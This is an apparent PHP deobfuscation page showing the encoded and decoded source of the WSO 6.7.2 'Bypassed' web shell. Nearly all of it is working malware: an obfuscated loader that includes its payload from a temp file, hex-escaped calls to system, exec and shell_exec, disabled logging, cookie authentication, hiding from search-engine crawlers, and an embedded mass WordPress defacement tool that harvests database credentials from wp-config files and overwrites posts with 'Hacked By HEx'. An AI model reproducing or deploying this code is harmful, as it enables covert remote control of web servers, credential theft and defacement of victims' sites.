ic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsKICAgIHJldHVybiAkcmV0dXJuOwp9CmVjaG8gIjxjZW50ZXI%2BCjxmb3JtIG1ldGhvZD0ncG9zdCc%2BCkxpbmsgQ29uZmlnOiA8YnI%2BCjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdsaW5rY29uZicgaGVpZ2h0PScxMCcgc2l6ZT0nNTAnIHBsYWNlaG9sZGVyPSdodHRwOi8vdXJsLmNvbS9wcHFfc3ltY29uZmlnLyc%2BPGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgbmFtZT0nZ2FzcycgdmFsdWU9J1N1Ym1pdCEhJz4KPC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnZ2FzcyddKSB7CgllY2hvICI8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9J3Bvc3QnPgpMaW5rIENvbmZpZzogPGJyPgo8dGV4dGFyZWEgbmFtZT0nbGluayc%2BIjsKR3JhYlVybCgkX1BPU1RbJ2xpbmtjb25mJ10sJ3dvcmRwcmVzcycpOwkKZWNobyI8L3RleHRhcmVhPgoKCTxicj48ZGl2IGRhdGEtcm9sZSA9ICdmaWVsZGNvbnRhaW4nIGNsYXNzID0gJ3VpLWhpZGUtbGFiZWwnIHN0eWxlPSdmbG9hdDpsZWZ0Jz4KICAgICAgICAgICAgPGxhYmVsIGZvcj0nbmFtZSc%2BSUQ6IDwvbGFiZWw%2BCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduYW1lJyBpZD0naWQnIHZhbHVlPScxJy8%2BCiAgICAgICAgPC9kaXY%2BCiAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gVElUTEU6IDwvbGFiZWw%2BCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0aXRsZScgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgQnkgSEV4JyAvPgogICAgICAgIDwvZGl2PgoJCSAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gUE9TVCBDT05URU5UOiA8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY29udGVudCcgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgYnkgSEV4IHwgV2UgQXJlIFBha2lzdGFuaSBIYWNrZXJzIC0sLSBGdWNrIFlvdSBBZG1pbicgLz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGRhdGEtcm9sZSA9J2ZpZWxkY29udGFpbicgY2xhc3M9ICd1aS1oaWRlLWxhYmVsJyBzdHlsZT0nZmxvYXQ6bGVmdCc%2BCiAgICAgICAgICAgIDxsYWJlbCBmb3I9J3N1cm5hbWUnPiBQT1NUTkFNRTogPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bvc3RuYW1lJyBpZD0nc3VybmFtZScgdmFsdWU9J0hhY2tlZCBieSBIRXgnIC8%2BCiAgICAgICAgPC9kaXY%2BIDxicj4KCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBuYW1lPSdlZGl0dGl0bGUnIHZhbHVlPSdTdWJtaXQhISc%2BCjwvZm9ybT48L2NlbnRlcj4iOwp9CmlmKCRfUE9TVFsnZWRpdHRpdGxlJ10pIHsKCSAgICAgICAgJHRpdGxlID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3RpdGxlJ10pOwogICAgICAgICAgICAgICAgJGlkID0gJF9QT1NUWydpZCddOwogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2NvbnRlbnQnXTsKICAgICAgICAgICAgICAgICRwb3N0bmFtZSA9ICRfUE9TVFsnbmFtZSddOwoJCWZ1bmN0aW9uIGFudWN1cmwoJHNpdGVzKSB7CiAgICAJCSRjaCA9IGN1cmxfaW5pdCgkc2l0ZXMpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTix0cnVlKTsKCQkJJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKCQkJCSAgY3VybF9jbG9zZSgkY2gpOwoJCQlyZXR1cm4gJGRhdGE7CgkJfQoJCSRsaW5rID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsnbGluayddKTsKCQlmb3JlYWNoKCRsaW5rIGFzICRkaXJfY29uZmlnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbmZpZyA9IGFudWN1cmwoJGRpcl9jb25maWcpOwoJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9IT1NUJywgJyIsIiciKTsKCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfVVNFUicsICciLCInIik7CgkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsKCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfTkFNRScsICciLCInIik7CgkJCQkkZGJwcmVmaXggPSBhbWJpbGthdGEoJGNvbmZpZywidGFibGVfcHJlZml4ICA9ICciLCInIik7CgkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJwb3N0cyI7CgkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJvcHRpb25zIjsKCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7CgkJCQkkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7CgkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgSUQgQVNDIik7CgkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOwoJCQkJJGlkID0gJHJlc3VsdFtJRF07CgkJCQkkcTIgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkb3B0aW9uIE9SREVSIEJZIG9wdGlvbl9pZCBBU0MiKTsKCQkJCSRyZXN1bHQyID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEyKTsKCQkJCSR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOwoJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgcG9zdF90aXRsZT0nJHRpdGxlJyxwb3N0X2NvbnRlbnQ9JyRjb250ZW50Jyxwb3N0X25hbWU9JyRwb3N0bmFtZScscG9zdF9zdGF0dXM9J3B1Ymxpc2gnLGNvbW1lbnRfc3RhdHVzPSdvcGVuJyxwaW5nX3N0YXR1cz0nb3BlbicscG9zdF90eXBlPSdwb3N0Jyxjb21tZW50X2NvdW50PScxJyBXSEVSRSBpZD0nJGlkJyIpOwoJCQkJJHVwZGF0ZSAuPSBteXNxbF9xdWVyeSgiVVBEQVRFICRvcHRpb24gU0VUIG9wdGlvbl92YWx1ZT0nJHRpdGxlJyBXSEVSRSBvcHRpb25fbmFtZT0nYmxvZ25hbWUnIE9SIG9wdGlvbl9uYW1lPSdibG9nZGVzY3JpcHRpb24nIik7CgkJCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyc%2BIjsKCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsKCQkJCQllY2hvICJVUkw6IDxmb250IGNvbG9yPXdoaXRlPkVycm9yLCBJIGNhbid0IHRha2UgdGhlIGRvbWFpbiBuYW1lPC9mb250PiAtPiAiOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICJVUkw6IDxhIGhyZWY9JyR0YXJnZXQvP3A9JGlkJyB0YXJnZXQ9J19ibGFuayc%2BJHRhcmdldC8%2FcD0kaWQ8L2E%2BIC0%2BICI7CgkJCQl9CgkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYikgewoJCQkJCWVjaG8gIjxmb250IGNvbG9yPXdoaXRlPk15U1FMIEVycm9yOiAiLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI%2BIjsKCQkJCX0gZWxzZSB7CgkJCQkJZWNobyAiPGZvbnQgY29sb3I9b3JhbmdlPkNoYW5nZWQgU3VjY2VlZC48L2ZvbnQ%2BPGJyPiI7CgkJCQl9CgkJCQllY2hvICI8L2Rpdj4iOwoJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOwoJCQl9CgkJfQo%2FPgo%3D%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%3Ciframe%20src%3D%27.tmp%2Ftitle.php%27%20width%3D%27950%27%20height%3D%27600%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%22%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20if%20%28empty%28%24%5fPOST%5B%22a%22%5D%29%29%20%7B%20if%20%28isset%28%24%E2%96%9A%29%20%26%26%20%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22action%22%20.%20%24%E2%96%9A%29%29%20%7B%20%24%5fPOST%5B%22a%22%5D%20%3D%20%24%E2%96%9A%3B%20%7D%20else%20%7B%20%24%5fPOST%5B%22a%22%5D%20%3D%20%22FilesMan%22%3B%20%7D%20%7D%20if%20%28!empty%28%24%5fPOST%5B%22a%22%5D%29%20%26%26%20%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22action%22%20.%20%24%5fPOST%5B%22a%22%5D%29%29%20%7B%20call%5fuser%5ffunc%28%22action%22%20.%20%24%5fPOST%5B%22a%22%5D%29%3B%20%7D%20%3F%3E"; 
$temp_file = tmpfile(); 
fwrite($temp_file, rawurldecode($arr)); 
include stream_get_meta_data($temp_file)['uri']; 
fclose($temp_file); ?>

Did this file decode correctly?

Original Code

<?php


/*

@title WSO - Web SHell Orb 6.7.2 Bypassed Version + Cleaned
@package - Digicorp Security
@version - 6.7.2

*/
$tinh = array(
	"\x65\x78\x65\x63", // 0
	"\x70\x61\x73\x73\x74\x68\x72\x75", // 1
	"\x73\x79\x73\x74\x65\x6D", // 2
	"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63", // 3
	"\x70\x63\x6C\x6F\x73\x65", // 4
	"\x70\x6F\x70\x65\x6E", // 5
	"\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73", // 6
	"\x69\x63\x6F\x6E\x76", // 7
	"\x6D\x64\x35", // 8
	"\x64\x65\x63\x72\x79\x70\x74", // 9
	"\x73\x65\x74\x63\x6F\x6F\x6B\x69\x65", // 10
	"\x69\x6E\x69\x5F\x73\x65\x74", // 11
	"\x69\x6E\x69\x5F\x67\x65\x74", // 12
	"\x70\x72\x6F\x74\x6F\x74\x79\x70\x65", // 13
	"\x68\x74\x6D\x6C\x73\x70\x65\x63\x69\x61\x6C\x63\x68\x61\x72\x73", // 14
	"\x67\x65\x74\x5F\x63\x75\x72\x72\x65\x6E\x74\x5F\x75\x73\x65\x72", // 15
	"\x67\x65\x74\x6D\x79\x75\x69\x64", // 16
	"\x67\x65\x74\x6D\x79\x67\x69\x64", // 17
	"\x70\x6F\x73\x69\x78\x5F\x67\x65\x74\x70\x77\x75\x69\x64", // 18
	"\x70\x6F\x73\x69\x78\x5F\x67\x65\x74\x67\x72\x67\x69\x64", // 19
	"\x70\x6F\x73\x69\x78\x5F\x67\x65\x74\x65\x75\x69\x64", // 20
	"\x70\x6F\x73\x69\x78\x5F\x67\x65\x74\x65\x67\x69\x64", // 21
	"\x70\x68\x70\x5F\x75\x6E\x61\x6D\x65", // 22
	"\x64\x69\x73\x6B\x66\x72\x65\x65\x73\x70\x61\x63\x65", // 23
	"\x64\x69\x73\x6B\x5F\x74\x6F\x74\x61\x6C\x5F\x73\x70\x61\x63\x65", // 24
	"\x67\x65\x74\x63\x77\x64", // 25
	"\x73\x65\x74\x5F\x74\x69\x6D\x65\x5F\x6C\x69\x6D\x69\x74", // 26
	"\x73\x74\x72\x74\x6F\x6C\x6F\x77\x65\x72", // 27
	"\x73\x74\x72\x6C\x65\x6E", // 28
	"\x73\x74\x72\x70\x6F\x73", // 29
	"\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65" // 30
);

// $GLOBALS['tinh'][angka_togel]
@$GLOBALS['tinh'][11]('error_log', NULL);
@$GLOBALS['tinh'][11]('log_errors', 0);
@$GLOBALS['tinh'][11]('max_execution_time', 0);
@$GLOBALS['tinh'][11]('output_buffering', 0);
@$GLOBALS['tinh'][11]('display_errors', 0);
@$GLOBALS['tinh'][11]('ignore_user_abort', 1);
$ = "2503cd7091fd55321ba7725fabcc5a04"; // m d 5
$ = true;
$ = 'UTF-8';
$ = 'FilesMan';
$ = $GLOBALS['tinh'][8]($_SERVER['HTTP_USER_AGENT']);
@define('TITLE', 'Phyaaaaaa  <3');
@define('VERSION', '6.7.2');
@define('COLOR', '#ff9900');
@define('COLOR_2', '#e6b000');
$arr = "%3C%3Fphp%0Aif%20%28!isset%28%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%29%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%2C%20%24%E2%96%99%20%29%3B%20%7D%20if%20%28empty%28%24%5fPOST%5B%22charset%22%5D%29%29%20%7B%20%24%5fPOST%5B%22charset%22%5D%20%3D%20%24%E2%96%9C%3B%20%7D%20if%20%28!isset%28%24%5fPOST%5B%22ne%22%5D%29%29%20%7B%20if%20%28isset%28%24%5fPOST%5B%22a%22%5D%29%29%20%7B%20%24%5fPOST%5B%22a%22%5D%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%22utf-8%22%2C%20%24%5fPOST%5B%22charset%22%5D%2C%20%24GLOBALS%5B%22tinh%22%5D%5B9%5D%28%20%24%5fPOST%5B%22a%22%5D%2C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20%29%20%29%3B%20%7D%20if%20%28isset%28%24%5fPOST%5B%22c%22%5D%29%29%20%7B%20%24%5fPOST%5B%22c%22%5D%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%22utf-8%22%2C%20%24%5fPOST%5B%22charset%22%5D%2C%20%24GLOBALS%5B%22tinh%22%5D%5B9%5D%28%20%24%5fPOST%5B%22c%22%5D%2C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20%29%20%29%3B%20%7D%20if%20%28isset%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24%5fPOST%5B%22p1%22%5D%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%22utf-8%22%2C%20%24%5fPOST%5B%22charset%22%5D%2C%20%24GLOBALS%5B%22tinh%22%5D%5B9%5D%28%20%24%5fPOST%5B%22p1%22%5D%2C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20%29%20%29%3B%20%7D%20if%20%28isset%28%24%5fPOST%5B%22p2%22%5D%29%29%20%7B%20%24%5fPOST%5B%22p2%22%5D%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%22utf-8%22%2C%20%24%5fPOST%5B%22charset%22%5D%2C%20%24GLOBALS%5B%22tinh%22%5D%5B9%5D%28%20%24%5fPOST%5B%22p2%22%5D%2C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20%29%20%29%3B%20%7D%20if%20%28isset%28%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20%24%5fPOST%5B%22p3%22%5D%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%20%22utf-8%22%2C%20%24%5fPOST%5B%22charset%22%5D%2C%20%24GLOBALS%5B%22tinh%22%5D%5B9%5D%28%20%24%5fPOST%5B%22p3%22%5D%2C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%5D%20%29%20%29%3B%20%7D%20%7D%20function%20decrypt%28%24str%2C%20%24pwd%29%20%7B%20%24pwd%20%3D%20base64%5fencode%28%24pwd%29%3B%20%24str%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24str%29%3B%20%24enc%5fchr%20%3D%20%22%22%3B%20%24enc%5fstr%20%3D%20%22%22%3B%20%24i%20%3D%200%3B%20while%20%28%24i%20%3C%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24str%29%29%20%7B%20for%20%28%24j%20%3D%200%3B%20%24j%20%3C%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24pwd%29%3B%20%24j%2B%2B%29%20%7B%20%24enc%5fchr%20%3D%20chr%28ord%28%24str%5B%24i%5D%29%20%5E%20ord%28%24pwd%5B%24j%5D%29%29%3B%20%24enc%5fstr%20.%3D%20%24enc%5fchr%3B%20%24i%2B%2B%3B%20if%20%28%24i%20%3E%3D%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24str%29%29%20%7B%20break%3B%20%7D%20%7D%20%7D%20return%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24enc%5fstr%29%3B%20%7D%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22error%5flog%22%2C%20null%29%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22log%5ferrors%22%2C%200%29%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22max%5fexecution%5ftime%22%2C%200%29%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B26%5D%280%29%3B%20if%20%28version%5fcompare%28PHP%5fVERSION%2C%20%225.3.0%22%2C%20%22%3C%22%29%29%20%7B%20set%5fmagic%5fquotes%5fruntime%280%29%3B%20%7D%20if%20%28!%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22get%5fmagic%5fquotes%5fgpc%22%29%20%7C%7C%20get%5fmagic%5fquotes%5fgpc%28%29%29%20%7B%20function%20stripslashes%5farray%28%24array%29%20%7B%20return%20is%5farray%28%24array%29%20%3F%20array%5fmap%28%22stripslashes%5farray%22%2C%20%24array%29%20%3A%20stripslashes%28%24array%29%3B%20%7D%20%24%5fPOST%20%3D%20stripslashes%5farray%28%24%5fPOST%29%3B%20%24%5fCOOKIE%20%3D%20stripslashes%5farray%28%24%5fCOOKIE%29%3B%20%7D%20%24bcrypt%20%3D%20%5B%22cost%22%20%3D%3E%2012%5D%3B%20if%20%28!isset%28%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22ajax%22%5D%29%29%20%7B%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22ajax%22%5D%20%3D%20%28bool%29%20%24%E2%96%98%3B%20%7D%20function%20hardLogin%28%29%20%7B%20if%20%28!empty%28%24%5fSERVER%5B%22HTTP%5fUSER%5fAGENT%22%5D%29%29%20%7B%20%24userAgents%20%3D%20%5B%20%22Google%22%2C%20%22Slurp%22%2C%20%22MSNBot%22%2C%20%22ia%5farchiver%22%2C%20%22Yandex%22%2C%20%22Rambler%22%2C%20%5D%3B%20if%20%28%20preg%5fmatch%28%20%22%2F%22%20.%20implode%28%22%7C%22%2C%20%24userAgents%29%20.%20%22%2Fi%22%2C%20%24%5fSERVER%5B%22HTTP%5fUSER%5fAGENT%22%5D%20%29%20%29%20%7B%20header%28%22HTTP%2F1.0%20404%20Not%20Found%22%29%3B%20exit%28%29%3B%20%7D%20%7D%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%22felicia%22%2C%20%24password%2C%203600%29%3B%20header%28%22HTTP%2F1.0%20404%20Mau%20Ngapain%20Lurr%22%29%3B%20echo%20%22%3Cpre%3EInvalid%20Session%20-%20Seo%20Bawah%20Tanah%20%7C%20303%3C%2Fpre%3E%22%3B%20exit%28%29%3B%20%7D%20if%20%28%20isset%28%24%5fCOOKIE%5B%22felicia%22%5D%29%20%26%26%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fCOOKIE%5B%22felicia%22%5D%29%20%3D%3D%20%24%E2%96%9B%20%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B13%5D%28%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%2C%20%24%E2%96%9B%29%3B%20%7D%20if%20%28%20!isset%28%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%5D%29%20%7C%7C%20%24%5fCOOKIE%5B%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%5D%20!%3D%20%24%E2%96%9B%20%29%20%7B%20hardLogin%28%29%3B%20%7D%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B27%5D%28substr%28PHP%5fOS%2C%200%2C%203%29%29%20%3D%3D%20%22win%22%29%20%7B%20%24os%20%3D%20%22win%22%3B%20%7D%20else%20%7B%20%24os%20%3D%20%22nix%22%3B%20%7D%20%24safe%5fmode%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22safe%5fmode%22%29%3B%20if%20%28!%24safe%5fmode%29%20%7B%20error%5freporting%280%29%3B%20%7D%20%24disable%5ffunctions%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22disable%5ffunctions%22%29%3B%20%24home%5fcwd%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B25%5D%28%29%3B%20if%20%28isset%28%24%5fPOST%5B%22c%22%5D%29%29%20%7B%20%40chdir%28%24%5fPOST%5B%22c%22%5D%29%3B%20%7D%20%24cwd%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B25%5D%28%29%3B%20if%20%28%24os%20%3D%3D%20%22win%22%29%20%7B%20%24home%5fcwd%20%3D%20str%5freplace%28%22%5C%5C%22%2C%20%22%2F%22%2C%20%24home%5fcwd%29%3B%20%24cwd%20%3D%20str%5freplace%28%22%5C%5C%22%2C%20%22%2F%22%2C%20%24cwd%29%3B%20%7D%20if%20%28%24cwd%5B%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24cwd%29%20-%201%5D%20!%3D%20%22%2F%22%29%20%7B%20%24cwd%20.%3D%20%22%2F%22%3B%20%7D%20function%20hardHeader%28%29%20%7B%20if%20%28empty%28%24%5fPOST%5B%22charset%22%5D%29%29%20%7B%20%24%5fPOST%5B%22charset%22%5D%20%3D%20%24GLOBALS%5B%22%E2%96%9C%22%5D%3B%20%7D%20echo%20%22%3Chtml%3E%3Chead%3E%3Cmeta%20http-equiv%3D%27Content-Type%27%20content%3D%27text%2Fhtml%3B%20charset%3D%22%20.%20%24%5fPOST%5B%22charset%22%5D%20.%20%22%27%3E%3Ctitle%3E%20%22.%20TITLE%20.%22%20-%20%22%20.%20VERSION%20.%20%22%3C%2Ftitle%3E%0A%3Cstyle%3E%0A%09body%20%7Bbackground-color%3A%230d0d0d%3B%20color%3A%23e1e1e1%3B%20margin%3A0%3B%20font%3Anormal%2075%25%20Arial%2C%20Helvetica%2C%20sans-serif%3B%20%7D%20canvas%7B%20display%3A%20block%3B%20vertical-align%3A%20bottom%3B%7D%0A%09%23particles-js%7Bwidth%3A%20100%25%3B%20height%3A%20100px%3B%20background-color%3A%20%230d0d0d%3B%20background-image%3A%20url%28%27%27%29%3B%20background-repeat%3A%20no-repeat%3B%20background-size%3A%20cover%3B%20background-position%3A%2050%25%2050%25%3B%7D%0A%09body%2Ctd%2Cth%09%7Bfont%3A10pt%20tahoma%2Carial%2Cverdana%2Csans-serif%2CLucida%20Sans%3Bmargin%3A0%3Bvertical-align%3Atop%3B%7D%0A%09table.info%09%7Bcolor%3A%23ffffff%3B%7D%0A%09table%23toolsTbl%20%7Bbackground-color%3A%20%230d0d0d%3B%7D%0A%09span%2Ch1%2Ca%09%7Bcolor%3A%22.COLOR.%22%20!important%3B%7D%0A%09span%09%09%7Bfont-weight%3Abolder%3B%7D%0A%09h1%09%09%09%7Bborder-left%3A5px%20solid%20%23ff5e00d9%3Bpadding%3A2px%205px%3Bfont%3A14pt%20Verdana%3Bbackground-color%3A%2310151c%3Bmargin%3A0px%3B%7D%0A%09div.content%09%7Bpadding%3A5px%3Bmargin-left%3A5px%3Bbackground-color%3A%230d0d0d%3B%7D%0A%09a%09%09%09%7Btext-decoration%3Anone%3B%7D%0A%09a%3Ahover%09%09%7Btext-decoration%3Aunderline%3B%7D%0A%09.tooltip%3A%3Aafter%20%7Bbackground%3A%230663D5%3Bcolor%3A%23FFF%3Bcontent%3A%20attr%28data-tooltip%29%3Bmargin-top%3A-50px%3Bdisplay%3Ablock%3Bpadding%3A6px%2010px%3Bposition%3Aabsolute%3Bvisibility%3Ahidden%3B%7D%0A%09.tooltip%3Ahover%3A%3Aafter%20%7Bopacity%3A1%3Bvisibility%3Avisible%3B%7D%0A%09.ml1%09%09%7Bborder%3A1px%20solid%20%23202832%3Bpadding%3A5px%3Bmargin%3A0%3Boverflow%3Aauto%3B%7D%0A%09.bigarea%09%7Bmin-width%3A100%25%3Bmax-width%3A100%25%3Bheight%3A400px%3B%7D%0A%09input%2C%20textarea%2C%20select%09%7Bmargin%3A0%3Bcolor%3A%23fff%3Bbackground-color%3A%23202832%3Bborder%3Anone%3Bfont%3A9pt%20Courier%20New%3Boutline%3Anone%3B%7D%0A%09label%20%7Bposition%3Arelative%7D%0A%09label%3Aafter%20%7Bcontent%3A%27%3C%3E%27%3Bfont%3A10px%20%27Consolas%27%2C%20monospace%3Bcolor%3A%23fff%3B-webkit-transform%3Arotate%2890deg%29%3B-moz-transform%3Arotate%2890deg%29%3B-ms-transform%3Arotate%2890deg%29%3Btransform%3Arotate%2890deg%29%3Bright%3A3px%3B%20top%3A3px%3Bpadding%3A0%3Bposition%3Aabsolute%3Bpointer-events%3Anone%3B%7D%0A%09label%3Abefore%20%7Bcontent%3A%27%27%3Bright%3A0%3B%20top%3A0%3Bwidth%3A17px%3B%20height%3A17px%3Bbackground%3A%23202832%3Bposition%3Aabsolute%3Bpointer-events%3Anone%3Bdisplay%3Ablock%3B%7D%0A%09form%09%09%7Bmargin%3A0px%3B%7D%0A%09%23toolsTbl%09%7Btext-align%3Acenter%3B%7D%0A%09%23fak%20%09%09%7Bbackground%3Anone%3B%7D%0A%09%23fak%20td%20%09%7Bpadding%3A5px%200%200%200%3B%7D%0A%09iframe%09%09%7Bborder%3A1px%20solid%20%230d0d0d%3B%7D%0A%09.toolsInp%09%7Bwidth%3A300px%7D%0A%09.main%20th